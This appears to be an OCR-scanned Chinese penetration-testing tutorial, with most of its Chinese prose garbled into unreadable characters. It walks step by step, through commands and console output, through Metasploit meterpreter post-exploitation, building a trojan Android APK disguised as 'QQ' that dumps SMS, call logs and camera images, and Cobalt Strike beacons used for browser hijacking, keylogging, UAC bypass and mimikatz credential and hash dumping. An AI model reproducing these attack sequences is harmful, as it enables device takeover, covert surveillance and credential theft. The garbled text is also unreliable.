=> windows/meterpreter/reverse https
) > set session 1
session => 1
msf posti ) > exploit

Set fAXiIRE

B 3:



Running module against LAPTOP-VEOMQ3HV
*#] Starting exploit/multi/handler
Performing Architecture Check
Started HTTPS reverse handler on https://192.168.11.104:6666
Process found checking Architecture
Process is the same architecture as the payload
Injecting Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS
tager (wininet) into process ID 8224
Opening process 8224
Starting the payload handler...
] Generating payload
*] Allocating memory in procees 8224
[*] Allocated memory at address 0x056b0000, for 346 byte stager
*¥] Writing the stager into memory...
Successfully injected payload in to process: 8224
Post module execution completed
f post( ) =
¥] https://192.168.11.104:6666 handling request from 192.168.11.109; (UUID: u6l
j1fao) Staging Native payload..
[*] Meterpreter session 2 opened (192.168.11.104:6666 -> 192.168.11.109:56628) a
2016-10-01 04:28:54 +0860

msf post( ) = sessions

Active sessions

Id Type Information Connection

1 meterpretet x86/win32 LAPTOP-VEOMQ3HV\P-C @ LAPTOP-VEOMQ3HV 192.168.
04:5555 -> 192.168.11.109:56425 (192.168.11.169)

2 meterpreter x86/win32 LAPTOP-VEOMQ3HVAP-C @ LAPTOP-VEOMQ3HY 192.168.
04:6666 -> 192.168.11.109:56628 (192.168.11.169)

msf post( ) = sessions -1 2
[*] Starting interaction with 2...

meterpreter > background
[?] Backgrcundlng session 2...

o5t ) = sessions -k

tilling the following session(s): 2
[ ] Killing session 2
[*] 192.168.11.109 - Meterpreter session 2 closed.
msf post( N |

ISR RINEE 7T —/MERa0EiE id 3, B sessions -k £iF id2

[4.Auto Rdp Port BEIMLFF 3389 tHrILAFHER RO

post/windows/manage/enable rdp

B123:



mst post( ) > use post/windows/manage/enable rdp
msf post( ) > show options

Module options (post/windows/manage/enable rdp):
Name Current Setting Required Description

ENABLE true Enable the RDP Service and Firewall Exce
ption.

FORWARD false Forward remote port 3389 to local Port.

LPORT 38 no Local port to forward remote connection.

PASSWORD no Password for the user created.

SESSION yes The session to run this module on.

USERNAME no The username of the user to create.

) > sessions

Information Connection

meterpreter x86/win32 LAPTOP-VEOMQ3HV\P-C @ LAPTOP-VEOMQ3HV 192.168.11.1
04:5555 -> 192.168.11.109:56425 (192.168.11.169)

msf post( )} > set username P-C
username => P-C
) > set password 123!'@#
=> 123'@#
msT post( ) = set session 1
session => 1
msf post( ) > exploit

> nc -v 192.168.11.109
[#] exec: nc -v 192.168.11.109

no port[s] to connect to
T post( '

SNRAEYN nc BWIFREHESIRTRAELD . HFERI win10 IFREZ , AFKEBSHiHX—TIE
FROIHEZZBITHWSERS , XANMELUS meterpreter ETHSHE , UNEIIEEYIASL

=69

A.Inject in Memory SSARITE

post/windows/manage/multi meterpreter inject

B 1:



msT post( ) > use post/windows/manage/multi meterpreter inject
msT post( ) > show options

Module options (post/windows/manage/multi meterpreter inject):

Name Current Setting Required Description

AMOUNT 1 Select the amount of she
1s you want to spawn.

HANDLER false Start new exploit/multi/t
andler job on local box.

IPLIST 192.168.11.104 List of semicolom separaf
ed IP list.

LPORT 4444 Port number for the paylo
ad LPORT variable.

PAYLOAD windows/meterpreter/reverse tcp Payload to inject in to p
rocess memory

List of semicolom separa

The session to run this

LERE) PAYLOAD mJLUGRMECRIZT | (BE2AIHRRHMZIF windows

B 2:

mst post( ) = set handler true
handler =>

msf post( )} > set session 1
session =>

msf post( ) = exploit

Running module against LAPTOP-VEOMQ3HY
Starting connection handler at port 4444 for windows/meterpreter/reverse tcp
+] exploit/multi/handler started!
[*] Creating a reverse meterpreter stager: LH0ST=192.168.11.104 LPORT=4444
Starting Notepad.exe to house Meterpreter Session.
] Process created with pid 9488
¥] Injecting meterpreter into process ID 9488
Allocated memory at address 0x@66b0000, for 281 byte stager
Writing the stager into memory...
Successfully injected Meterpreter in to process: 9488
Meterpreter session 3 opened (192.168.11.104:4444 -> 192.168.11.109:56981) a
016-10-01 04: 46 22 +0 00

ms f post( ter ) > sessions

Active sessions

Information Connection

1 meterpreter x86/win32 LAPTOP-VEOMQ3HV\P-C @ LAPTOP-VEOMQ3HY 192.168.11.1
04:5555 -> 192.168.11.109:56425 (192.168.11.109)

3 meterpreter x86/win32 LAPTOP-VEOMQ3HV\P-C @ LAPTOP-VEOMQ3HY 192.168.11.1
04:4444 -> 192.168.11.109:56981 (192.168.11.109)

mst post(

XA SHHRENIR T — FHREBINZBER payload 1 https HFTMERISE , S post i



EMERHITINRAOLER | IWETPRRENTE | iEAAEFRLAS meterpreter i SERRIA

B7 , ARBTOR—THE—ETHEERTE

éﬁE;..&_ﬁ:E::-li-

/NI
iR ( BEETPRAEAFIRIVZFZEF  BAIEE L—SHHAEME T HREESM=ELL
& https ISR AFHRIE meterpreter £iF shell , BBAFEAIX—F PR — TR

EHREFINARE L—SBMRR

— . 51 payload 4R

AREIELZEFINZISHIZEEN S apk BBAFEATERA msfvenom Epk—4 FEAIFTA
RIS -

msfvenom -p android/meterpreter/reverse_tcp LHOST= % If ip LPORT= ¥ I it [
R > gome.apk

e :

root@P-C: ~

MNH(F) HRiE(E) BE() BER(S) Eim(() FBH)

:~# msfvenom -p android/meterpreter/reverse tcp LHO0ST=192.168.11.165 LPO
RT=1234 R > gome.apk
No platform was selected, choosing Msf::Module::Platform::Android from the paylo

ad

No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 9492 bytes

W& ip : 192.168.11.105

BiF : $8Y oppo FH A :



NAREED = .- 18:10 1

< EFFH

FHER P-C |
8= OPPO R9m
ColorOShR A V3.0.0
AndroidhR 4~ 5.1
RbEE 2R I\
BEITHTF 4G
IE=ZES 50.81G(ATA) 64G(H#)
RS ROmM_11_A.26_160716

MOLY.LR11.W1539.MD.

HERA TC16.R9E.SP.V1.P1,
2016/07/15 19:49

Rz A 3.10.72-G201607161811

PEEDT RRE

BiESHE. 5%



EFNMHNERBRINEEPRETR
1128 metasploit AibUsIFr
WMne :

msf > use multi/handler

msf exploit( ) > set PAYLOAD android/meterpreter/reverse tcp
PAYLOAD => android/meterpreter/reverse tcp

msf exploit( ) > set LHOST 192.168.11.1605

LHOST == 192.168.11.105

msf exploit( ) = set LPORT 1234

LPORT => 1234

msf exploit( ) = show options

Module options (exploit/multi/handler):

Payload options (android/meterpreter/reverse tcp):

Name Current Setting Required Description

AutolLoadAndroid true Automatically lead the Android ex
tension

LHOST 192.168.11.165 The listen address
LPORT 1234 The listen port

Exploit target:

Id Name

Wildcard Target

) = exploit

[*] Started reverse TCP handler on 192.168.11.105:1234
[*] Starting the payload handler..

TEEN :

(1)4ERk payload &Y IP it NIl , EFAMEEER ip MltFNiKO—
(QBEHEARN , BFFINENREERMXT , BUWFARWRRORIEIE
2. k& apk payload ZEAYFN E#HITRE

15



SilHERH = - 18:27 (I

MainActivity
kB “QQ”
MRA: 1.0 K/\: 9.27K

© ZIRTTHY

& Bl LA

BIfE “REBIE" RREZSNA >




msT exploiff . \ > exbloit

[*#] Started reverse TCP handler on 192.168.11.105:1234

[*] Starting the payload handler...

[*] Sending stage (63194 bytes) to 192.168.11.102

[*] Meterpreter session 3 opened (192.168.11.105:1234 -> 192.168.11.102:39909) a
t 2016-10-01 19:04:37 +0800

meterpreter > sysinfo

Computer : localhost

0s : Android 5.1 - Linux 3.10.72+ (aarch64)
Meterpreter : java/android

meterpreter > help

Core Commands

Description

BIEIT —ARIE , WA help SBERBSEE meterpreter [EEMASH , XBHEAR
NANANKRBERHSE
(1)dump_calllog FTHEZEFHEBEF TR
(2)dump sms FTHZEEANEE
(3)webcam _list BEHEFHBRUFLIERAMRSL

1.Back Camera

2.Front Camera
(4)webcam_snap FSFBIRERINES

Hi% : webcam snap -i 1

webcam snap -i 2

FEBIMER , ARSEZE—T




FtED

BIiA : EREMNEBHAS , #i)iRZE) metasploit MEA{LFE Cobaltstrike , X—&

PERABE T FE—TX ERM 3.0 BYER

Cobalt Strike —FXLA metasploit AETLAY GUI BIERERBETH £ TIROEE. IR
S, BeibiE |, SERXIROMIR , win exe KB4FL , win dIl KZ4H; , java XS
&Rk |, office BiBER , A4S ; HEKHZRIE : =g , BIFMSS3RE , java i
17, MMEAEHEES |, [ Cobalt Strike 3.0 BEAH{#A Metasploit {ELET{ET—
MEZRFEEER

— . IB1T

52ZHilR#FH Cobalt Strike &XF) , Cobalt Strike3.0 EEFRBRISIRSREA TLAHERE
A, H52 , IPMRSBILIEI2MIFET , FENFIACBEEZIRSHIREDR, T

#i47 Cobalt Strike IBE ST :



B

v BB cobaltstrike

B c2lint

B cobaltstrike

& cobaltstrike.jar

B icon.jpg

& license.pdf
readme.txt
releasenotes.txt

M teamserver

> third-party
B update
& undate. iar

HAKEAIE R teamserver LAR cobaltstrike.jar & XFNXHEHEIRS S LE—

BR ., RBiET:
./teamserver 192.168.74.1 msf3

XBATHEER , RIFERRER ip it , AR 0.0.0.0 HF 127.0.0.1, ARBES4S

W, EFR(REMARYERA ip MILLEDR] , msf3 FiZBIFIRSSRAYEE T

Connect

This is the connect dialog. You should use it to
connect to a Cobalt Strike (Aggressor) team server.

Host: [192.168.74.1 l
Port: (50050 |
User: msf3 i

l

Password: |*+**

 —— gE— || —

XEE ip (EFIRSSEEAY ip , IHCIBKIA 50050 , BAEKEE , BEAZEHEENEE , A6

connectSfHISIFEN , A== , B Cobalt Strike 7



® ] Cobalt Strike (Trial)
Cobalt Strike View Attacks Reporting Help
OB QO E=E¢ B ,PLU GwBED fa B g

external internal = user computer note pid last

Eventlog X
11/06 13:40:14 msf3

[11/06 13:40] msf3
event>

= . 5{¥F1hRE

1.Listeners

{{F Cobalt Strike B EESIE— Listener, k) X=3 Cobalt Strike->Listeners ,

RESE Add @ETLALIEE 2B ER Listeners 7, Cobalt Strike3.0 &#E

. windows/beacon dns/reverse dns txt
. windows/beacon dns/reverse http

. windows/beacon_http/reverse http

. windows/beacon_https/reverse https
. windows/beacon smb/bind pipe

. windows/foreign/reverse dns txt

. windows/foreign/reverse http

. windows/foreign/reverse https



. windows/foreign/reverse tcp

Erh windows/beacon* £ Cobalt Strike B AR , @1F dns,http,https,smb M9
FUAYESIRES , windows/foreign* J94haREEIRES | B) msf 5%& Armitage BIUSIRES | i%
EIFEELIRE | host RRMNESHAIFBIRSEA ip , REKITRD , ARRET , 1IFEE

FREUERIF T

2.Attacks

SIEFIEINES | THMEEEERFIR Y , Cobalt Strike RUESHINESGN , Heh

Packages SEMN T ILF4 :

Web Drive-by *
Spear Phish

MS Office Macro
USB/CD AutoPlay
Windows Dropper
Windows Executable
Windows Executable (S)

HTML Application &£RESAI HTA KD ;

MS Office Macro 4R}, office ZEfB=3 14 ;

Payload Generator 4Rk EHiESRARY payload;
USB/CD AutoPlay “mFI B BZIEMISEITRIADS I ;
Windows Dropper %828 , BEISXIICASEHTTHRYE ;
Windows Executable &£RETTHIT exe XS ;

Windows Executable(S) £REFTARSHITNIT exe X3,

Web Drive-by (#J&IE ) @FMT/LMER



Attacks | Reporting Help

Packages P E @ D B E &
VWE SRS Manage

Spear Phish Clone Site

Host File

PowerShell Web Delivery
Signed Applet Attack

Smart Applet Attack

System Profiler

Manage YHER web IRSZHITEIE ;

Clone Site FERERiY , JLLCRZEEIRAVEIE ;

Host File iR#t—NXHTEH , TILMEL Mime (52

PowerShell Web Delivery #{8lF msf fJ web_delivery ;

Signed Applet Attack {Ef java BEZHEEFHTHEINE;

Smart Applet Attack BEt&il java lRAEFHTIE |, §1%F Java 1.6.0 45 LATLAR J
ava 1.7.0 21 LAFRR ;

System Profiler FISRSRIN—LRFES | LEIZRFARRE |, Flash hRA |, HIEBRFE,

Spear Phish 2RREMEFFIRRIIER,

3.View

t View 'Attacks Reporting
}| Applications
Credentials
Downloads
Event Log
Keystrokes

Proxy Pivots
Screenshots
Script Console

Targets
Web Loa




View EREILAG EMHXETESMIR | BRAHFREYLAGEHEIIZEENRHSIS
=N

Applications BREEENEBHRBES ;

Credentials ERZEENBUTIERET | GEEHEHHITRESE |
Downloads X T ;

Event Log RILABHISEMET , SRMNEBEINRFENEM, HERAILITEXEHIX;
Keystrokes EEE{RRICR ;

Proxy Pivots E&5({IE(E5E ;

Screenshots EERBEHE ;

Targets EEBIR

Web Log & web B

#8 Reporting BINEERANTAT , TERR LIRS HM

0x05 Beacon

Beacon AJLAi%#Ei@id DNS 22 HTTP Y EOMLE , {(REZETJLATEER Beacon i&Eifl
Iehilig HTTP 1 DNS, E3ZISZ & | fEYF Beacon [FIRZ—MEE ORI Z
sk EHAIFIZR , Beacon BT XL EHNLH. BIRMLERIFGFEIAGSH=EFFBERITIRSP
RIENA TR ERFIE R LSAYEH.

B EUIRE shell LA ( ELANEEGSITARRY exe ) , BAAILAER beacon T , HBE

E , Interact , MJa]$JFF Beacon Console



=8| Explore

DESKTOP-

Session *

£ beacon b8 help , WRILABZIF40i5%0P :

beacon> helpBeacon Commands===============
Command Description

browserpivot Setup a browser pivot session

bypassuac Spawn a session in a high integrity process

cancel Cancel a download that's in-progress

cdChange directory

checkin Call home and post data

clear Clear beacon queue

covertvpn Deploy Covert VPN client

desktop View and interact with target's desktop

dllinject Inject a Reflective DLL into a process

download Download a file

downloads Lists file downloads in progress

drives List drives on target

elevate Try to elevate privileges

execute Execute a program on target

exit Terminate the beacon session

getsystem Attempt to get SYSTEM

getuid Get User ID

hashdump Dump password hashes

help Help menu

inject Spawn a session in a specific process

jobkill Kill a long-running post-exploitation task

jobs List long-running post-exploitation tasks

kerberos_ccache_use Apply kerberos ticket from cache to
this session

kerberos_ticket_purge Purge kerberos tickets from this session

kerberos_ticket_use Apply kerberos ticket to this session

keylogger Inject a keystroke logger into a process

kill Kill a process

link Connect to a Beacon peer over SMB

logonpasswordsDump credentials and hashes with mimikatz



1sList files

make_token Create a token to pass credentials

mimikatz Runs a mimikatz command

mkdir Make a directory

mode dns Use DNS A as data channel (DNS beacon only)

mode dns-txt

Use DNS TXT as data channel (DNS beacon only)

mode http Use HTTP as data channel

mode smb Use SMB peer-to-peer communication
net Network and host enumeration tool
note Assign a note to this Beacon
portscan Scan a network for open services
powershell Execute a command via powershell

powershell-import

Import a powershell script

psShow process list

psexec Use a service to spawn a session on a host
psexec_psh Use PowerShell to spawn a session on a host
pth Pass-the-hash using Mimikatz

pwd Print current directory

rev2self Revert to original token

rmRemove a file or folder

rportfwd Setup a reverse port forward

runas Execute a program as another user
screenshot Take a screenshot

shell Execute a command via cmd.exe

sleep Set beacon sleep time

socks Start SOCKS4a server to relay traffic
socks stop Stop SOCKS4a server

spawn Spawn a session

spawnas Spawn a session as another user

spawnto Set executable to spawn processes into

steal_token

Steal access token from a process

timestomp Apply timestamps from one file to another
unlink Disconnect from parent Beacon

upload Upload a file

wdigest Dump plaintext credentials with mimikatz

winrm Use WinRM to spawn a session on a host
wmi Use WMI to spawn a session on a host

HFEMEREERS AT LASIEER help B , 11 :

beacon> help browserpivotUse: browserpivot [pid] [x86|x64]
browserpivot [stop] Setup a Browser Pivot into the specified
process. To hijack authenticated

web sessions, make sure the process is an Internet Explorer tab. These



processes have iexplore.exe as their parent process. Use

"browserpivot stop" to tear down the browser pivoting sessions

associated with this Beacon.

4.Browserpivot

BREAZSEENGHHE , ARAR HTTP K , ZERAILERZZESFHMILT .

(EAAR . ps HEINEIRRHE ¢

msdtc.exe

iexnlore. axe
iexplore.exe

agdl ClILNdEXEl . exe
sihost.exe
taskhostw.exe
ChsIME.exe
explorer.exe
OneDrive.exe
RuntimeBroker.exe
TPAutoConnect.exe
conhost.exe
ShellExperienceHost.exe
Microsoft.Photos.exe
powershell.exe
conhost.exe
PGPcht64.exe
audiodg.exe

"TRAFEFTAR FLCAPRMAT .29 oo /IFA6

ENHEE

beacon> browserpivot 3452 x64

beacon> browserpivot 3452 x86

HHEHREHEHHERERRERMERERRERKE

DESKTOP-FNS@BMD\evilcg
DESKTOP-FNS@BMD\evilcg

DESKTOP-FNS@BMD\evilcg
DESKTOP-FNS@BMD\evilcg
DESKTOP-FNS8BMD\evilcg
DESKTOP-FNS@BMD\evilcg
DESKTOP-FNS@BMD\evilcg
DESKTOP-FNS@BMD\evilcg
DESKTOP-FNS@BMD\evilcy
DESKTOP-FNS@BMD\evilcg
DESKTOP-FNS@BMD\evilcg
DESKTOP-FNS@BMD\evilcg
DESKTOP-FNSOBMD\evilcg
DESKTOP-FNSOBMD‘\evilcg
DESKTOP-FNS@BMD\evilcg

[#] Injecting browser pivot DLL into 3452

[+] Browser Pivot HTTP proxy is at: 192.168.1.183:37929
[+] started port forward on 10173 to 127.0.0.1:10173
[+] host called home, sent: 73760 bytes

[DESKTOP-FNS@BMD] evilcg/748

HEACO

IREFHINEERRUHE -




.'[%%*ﬁit beacon ® SHPAC G BXER

KIB AR 5528
ik RN il R KEEEO
(BRTA) HTTP = 192.168.1.103 37929 &
v BErESROHE

ARERYH IS ZR

HEREHEREMUEWSIASE , BEAE , FNNKERREEEFZM

SHARLWEE XAV EROENE , REBERERT , XAWKETERN TS

browserpivot stop

4

5.Socks

ALAEIEFFRE socksda AIE , AJLABE A EBHTARMEENL.

FFE socks

beacon>socks 9999

XEaJLIEFEHRP—& , B Pivoting->SOCKS Server , NERIL&EITEHFE socks
R,

fic&E proxychains.conf , N

socks4 127.0.0.1 9999

PARFRILAEIE proxychains (ERSHIRHBAMSET.
HEEIEARRE[ER msf |, (kKX =E View->Proxy Pivots , %3 Socks4a Proxy, =

Tunnel:



acon 192.168.74.138@2932 X [ Sites X
3 X | Stes X |  Beacon192.168.74.138@5332 X |  Files 192.]
type port fhost
SOCKS4a Proxy 53790
port forward 3596 127.0.0.1
port forward 30944 127.0.0.1
L R Tunnel via SOCKS 127.0.0.1

Use this command in the Metasploit Framework to tunnel
exploits and auxiliary modules through this Beacon.
Use unsetg Proxies to stop tunneling through Beacon.

Isetg Proxies socks4:192.168.1.103:53790| |

o

SHILIRE | 7 metasploit Bhi{T , MALAFFRHKE

shells --egypt

=[
-==[ 1498 exploits - 895 auxiliary - 252 post
--=[ 432 payloads - 37 encoders - 8 nops
--=[ Free Metasploit Pro trial: http://r-7.co/tryms

msf > setg Proxies socks4:192.168.1.103:53790
Proxies => socks4:192.168.1.103:53790
msf > ]

X socks

beacon>socks stop

Screenshot&Keylogger

XEBRY screenshot BAILIBENSEE—EMNANREEE , B(EwSH :
beacon>screenshot [pid] <x86|x64> [run time in seconds]
K&
beacon>screenshot

$RIEHTFF View->Screenshots , NEIEIIREEE :



Sites X | Weblog X | Sies X | Beacon 192.168.74.138@5896 X | Screenshots X | Credentials X | Processes 192.168.74.138@58%6 X
computer pid when t
DESKTOP-FNSOBMD 2252 11/06 21:20:23
DESKTOP-FNSOBMD 5896
DESKTOP-FNSOBMD 5896
DESKTOP-FNSOBMD 5896
DESKTOP-FNSOBMD 5896
DESKTOP-FNSOBMD 5896
DESKTOP-FNSOBMD 5896
DESKTOP-FNSOBMD 5896
DESKTOP-FNSOBMD 5836

[&] https://www.baidu.com/

2c | 49| FE @l EE

evlcg* DESKTOP-FNSOBMD 5896 11/06 22:57:40
evileg * DESKTOP-FNSOBMD 5896 11/06 22:57:45
evileg * DESKTOP-FNSOBMD 5896 11/06 22:57:51
evileg * DESKTOP-FNSOBMD 5896 11/06 22:57:56
evileg * DESKTOP-FNSOBMD 5896 11/06 22:58:01
evileg * DESKTOP-FNSOBMD 5896 11/06 22:
evileg * DESKTOP-FNSOBMD 5896 11/06 22:58:12
evileg * DESKTOP-FNSOBMD 5896 11/06 22:
evileg * DESKTOP-FNSOBMD 5896 11/06 22:
evileg * DESKTOP-FNSOBMD 5896 11/06 22:
evileg * DESKTOP-FNSOBMD 5896 11/06 22:

evileg * DESKTOP-FNSOBMD 5896 11/06 22:58:38

RERIiCRBOERRRA :

Use: keylogger [pid] <x86]|x64>

RE¥TFF View->Keystrokes , MaJLABRIRRBICRER :

Sies X | Weblog X | Sies X | Beacon 192.168.74.138@589 X | Screenshots X | Credentials X | Processes 192.168.74.13895896 X | Processes 192.161

computer pid when i
11/06 2

.baidu

MEARBERG ST  JLEEERESESITEN (UBiE ) , AE->Explore->Process

List :

Sitees x| Weblog X | Sites X | Beacon 19216874 13805895 X | Soreensobs X | Cradentiels X | Processes 192.160.74. 15803696 X | Keyslrokes X
PO FRID Mame Arch Session user

2588 i Aopl cationFramaHost. exe xbd 1 DESKTORFNSUBMDYevilog
4376 BUR Micrassoit Pl ese 64 1 DESKTOP-FNSCRMDevitey
1636 528 WinStore, Moblz2.2xe 64 1 DEEKTOA-FNSCBMDevileg
1864 3908 cd.exe 64 1 DESKTO®FNSCBMDNevllcg
5692 1664 conhost.eve a6 1 DESKTO>-FN30BMDVevilog
4956 300 WUDFHost axa Pz o NT AUTHORLTY(LOCAL SERVIC=
63 3908 ol e 6 1 DESKTOP-FNSORMDYeviley
2868 54 conhost.exe 264 1 DZSKTO?-FNSCBMDYevileg
47da a4 powarsnell axe pit L DESKTO-FNSCBMONevilcg
2252 4744 powersiel.exe 86 1 DESKTOA-FNSCBMDevileg
2850 2252 ‘conhcst.exe 64 1 DEEKTO*-FNSUBMDNevileg
SR96 1144 el e *ff 1 DESKTOP-FNSOBMDYviley
3624 3928 SearchUl exe 264 1 DEEKTOP-FNSUBMDYevileg
laxplore exe L
imxplaore.exe 1

600 228 FlashUti_AdiveX.exs o4 1 DEEKTO=-FNSUBMDNevileg
6048 A040 iaxplore exe 86 1 DESKTOP-FNSCBMDhevileg
5416 040 izxplore.exe 86 1 DESKTO™ FNSCBMDYevileg
5540 4040 laxplore exe 86 L DESKTOR-FNSCBMDYevilog
3945 a6 audindg.exe K

2628 2 LiveUodate.ex2 b 1 DEEKTO-FNSUBMDYeviled

kil |[ metresn | [ et  Logkeyswores |[ screensrot || stea toer | | Heip

6. powershell-import



ZEAMEEEREZEMNXPRERA , AILISASZH powershell ZiEIESR , Lkl nishang i

powerpreter , Ei&ENIT :

beacon> powershell-import

ARTEXHNEIESEmESFE Powerpreter.psm1 :

Select script to import
#(D): [ powerpreter | Ed&D |E| |

(W Powerpreter.psm1]
[ README.md

b-{ () Sl Powerpreter. ps
RERBT): B -

REEIENT :

powershell-import [/path/to/local/script.ps1]
HITEA , ZRMAILAMER powerpreter BIFHIEIRT .
ENGREREEFERINTHS, b -

beacon> powershell Check-VM

beacon> powershell Check-\VM

[#] Tasked beacon to run: Check-VM
[+] host called home, sent: 16 bytes
[+] received output:

#< CLIXML

This is a Hyper-V machine.

This is a VMWare machine.

<0bjs Version="1.1.8.1" xmlns="http://schemas.microsoft.com
RefId="0"><T>=System.Management.Automation.PSCustomObject</T:
N="Record"><AV>0y0Ux%4+ Ex IE*QAR£LEi£</AV><AI>B</AI><Nil /><
RefId="1"><TNRef Refld="8" /><MS><I64 N="Sourceld'"=>2</I64><H
/><PI>-1</PI><P(>-1</PC><T>Completed</T><SR>-1</SR><5D> </S[]

7.kerberos 8%



RXE—HE=MER , SEIR :

. kerberos ccache use :M ccache X{FHENER
. kerberos ticket purge ;5 HBISIEANER

. kerberos ticket use : M\ ticket X{FHRSNEHRF

REVEEERAYSIUELANEER mimikatz:

8.BypassUAC

H4 | IRAEEIERE ? ixix bypassuac 1B~

BT
beacon> bypassuac

TERRAINTIL S ESSIRIIRET .

75X EBikER{#EA bypassuac [ powershell i A3k3XE Win10 2 54#0R HF nishang
9 powershell BIAMEHAZHF Win10, FRELXB(ER T —MNERIESIHY powershell i
& invoke-BypassUAC.ps1

Hpk— beacon [5I] :

@ @ Windows Executable

This dialog generates a Windows executable
Strike Arsenal scripts (Help -> Arsenal) to al

Listener: reverse_http

Output: [Windows EXE

| Generate ” Help |

LIERI] :

beacon> cd E:
beacon> upload /Users/evilcg/Desktop/test.exe

Nk powershell TE1T -


https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/invoke-BypassUAC.ps1

beacon> powershell-import
/Users/evilcg/Pentest/Powershell/MyShell/invoke-BypassUAC.p

sl
beacon> powershell Invoke-BypassUAC -Command 'E:\test.exe'

AR MERREE T

CobaltStike Vew Attacks Keparting Halp
OQ O EH= B PLU EwlBE fFa IS

evilcg *
DESKTOP-FMNSOBMD @ SE9E

Beacon 192,169.74.138@2252 X | Stes X | WebLog X
| Files 197 168 7417882752 X | Downloads ¥

Sit=s ¥ Screesbots W
beacon- powershell Invoke-BypassUAC -Commend 'E:\test.exe’
[=] Tasked beacon to run: Invoke-BypessUAC -Commend 'E:%\test. exe’
[=] host called howe, sent: 47 hytes
[+] received output
#< CLIXML

[<] received output
=0bjs "1.1.08.1" xnlns="http:

‘schemas .microsoft, com/powershell/2004/04"><0b] S="progr
vten, Managenent . Autonation. PSCustemlbjects/T=<T=System, Object=/T></T=><HS>=164

QARLLG | E</AV><AT>0=/Al>elil j>ePI=>=1</PI>cP({>~1</PC><T>Completed
feeMS=aled N="Sourceld">le/L6d=<FR N="Record"=<AU=0y0Usi+ Ew LE'0A

Refld=" sten. Mana
N="Racord" ' >=AV>0y0lU=xz E
Fefld="1"=<THReT RefId="

(EEFRAB MR 7 AYEB B9 beacon JEANERES :

beacon> sleep ©
beacon> wdigest



[+] host called home, sent: 297547 bytes
[+] received output:

Authentication Id : © ; 208050 (POOPROOD:00032ch2)
Session : Interactive from 1
User Name : evilcg
Domain : DESKTOP-FNS@BMD
SID : §5-1-5-21-792390344-1904367444-1519734
wdigest :
# Username : evilcg
* Domain : DESKTOP-FNS@BMD
% Password : (null)

Authentication Id : @ ; 207991 (0PO0O0OO0:00032c77)
Session : Interactive from 1

User Name : evilcg

|l||.| = 0 . (P-

[DESKTOP-FNS@BMD] evilcg /5896

eaCa

beacon> hashdump

beacon> hashdump

[+] Tasked beacon to dump hashes

[+] host called home, sent: 82501 bytes
[+] received password hashes:

Administrator:500:aad3b435b514084eeaad3b435b514084ee:31d6cfeddl6ae931b73c59d7e0cBB9ch: ;
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfefdl6ae931b73c59d7e0c089ch: : :
evilcg:1001:aad3b435b51404eeaad3b435b51404ee:69943c5e63b4d2c104dbbcc15138b72b: ¢ ¢
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfefd16ae931b73c59d7e0c089cO: : :

= . 5 metasploit Bxzl

cobalt strike3.0 B {EM Metasploit {EZRM{EAN—MEZFESER |, BBAEAZBE
cobalt strike 3XBYZ! meterpreter g , BB , AJLUMEIRY., BEFEAIER metasploit

B9 reverse tcp ABUEIFER :

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter
msf exploit(handler) > set payload
windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.74.1

lhost => 192.168.74.1

msf exploit(handler) > set lport 5555

lport => 5555

msf exploit(handler) > exploit -j

2 IG{EH Cobalt Strike €J##—/ windows/foreign/reverse tcp Listener :



@ @® New Listener

Create a listener.

Name: |[meter |

Payload: rwindows/foreignjreverse_tcp - |

Host:  |192.168.74.1 l

Port: fsss§ |
| Caun ‘

Erh ip 73 metasploit §9 ip fttlit , #5078 msf FREIRBIRO. KEERiITEN , G

->Spawn:

Pivoting »

Session *

IR SR A S =S

name payload host port
reverse_http windows/beacon_http/reverse_http 192.168.74.1 8888
windows/foreign/reverse_tcp 192.168.74.1

[ Pl s | | aaa | | il

RILABZIRETNSREN Y meterpreter EliF :

xp

o1
Explo

I PEE
it running os ba

Started reverse hondler on 19 74.1:5555
exploit( ¥ = Starti load handler. . .

exploit( B

exploit( Y=

Sending stoge (385886 ¥

Meterpreter session 1 d .168.74.1:5555 -> 192.168.74,.138:57999) at 2
[11-06 23:18:24 40300




FETHRRENET Cobalt Strike RIEBHINEE , MBER | IFERIKHISIE , XTF Cobalt

Strike E{thEIThEENVAEE(IRTLIB SRS

BIN\ED
BHFS:

B kali |inux, $I3BHLwin10 &S

—. Meterpreter €<

AERKERIM4, B AR T 12:
1. Bhisd

2. STDapi :X#1E4

. STDapi: M#%&#4

- STDapi: XH &G4

STDapi: FiF#O#r4

STDapi: Web Cam fir4
Priv : &8 &H4

Priv : ZHEEIEEMRS

Priv : KfAIER&4

7

7

7

@OO\]/CDU‘I»-POJ

7

HAFEBB— meterpreter 2iF, BEEH

nE 1:

:~# msfvenom -p windows/meterpreter/reverse https LHOST=192.168.11.105 L
PORT=5555 -T exe > l.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the paylo
ad
No Arch selected, selecting Arch: x86 from the payload

No encoder or badchars specified, outputting raw payload
Payload size: 595 bytes
Final size of exe Tile: 73802 bytes

~#




msf > use multi/handler
msf exploit( ) = set PAYLOAD windows/meterpreter/reverse https
PAYLOAD => windows/meterpreter/reverse https
msf exploit( ) > set LHOST 192.168.11.105
=> 192.168.11.105
it ) = set LPORT 5555

msf exploit( ) > set SessionCommunicationTimeout ©
SessionCommunicationTimeout =>

msf exploit( ) = set exitOnsession false
exitOnsession => false

[ exploit( ) = exploit -j
Exploit running as background job.

Started HTTPS reverse handler on https://192.168.11.105:5555
f exploit( ) = [*] Starting the payload handler..
[ https://192.168.11.105:5555 handling request from 192.168.11.109; (UUID: mb4
y1ljcm) Staging Native payload...
[*] Meterpreter session 1 opened (192.168.11.105:5555 -> 192.168.11.109:51447) a
2016-10-01 22:01:43 +0800

sT exploit( ) > sessions

Active sessions

Information Connection

P5:5555 -> 192.168.11.109:51447 (192.168.11.109)

st exploit(

HEASERA help 2%, RIHABANSRFAERER, BNAB—LEXNA

1. sessions #r4:

(1) sessions &EF meterpreter £1F id 52

msf exploit( )} = sessions

Id Type Information Connection

1 meterpreter x86/win32 LAPTOP-VEOMQ3HVAP-C @ LAPTOP-VEOMQ3HY 192.168.11.1
©5:5555 -> 192.168.11.109:51447 (192.168.11.109)

(2) sessions —i &iF id B HANLSIE

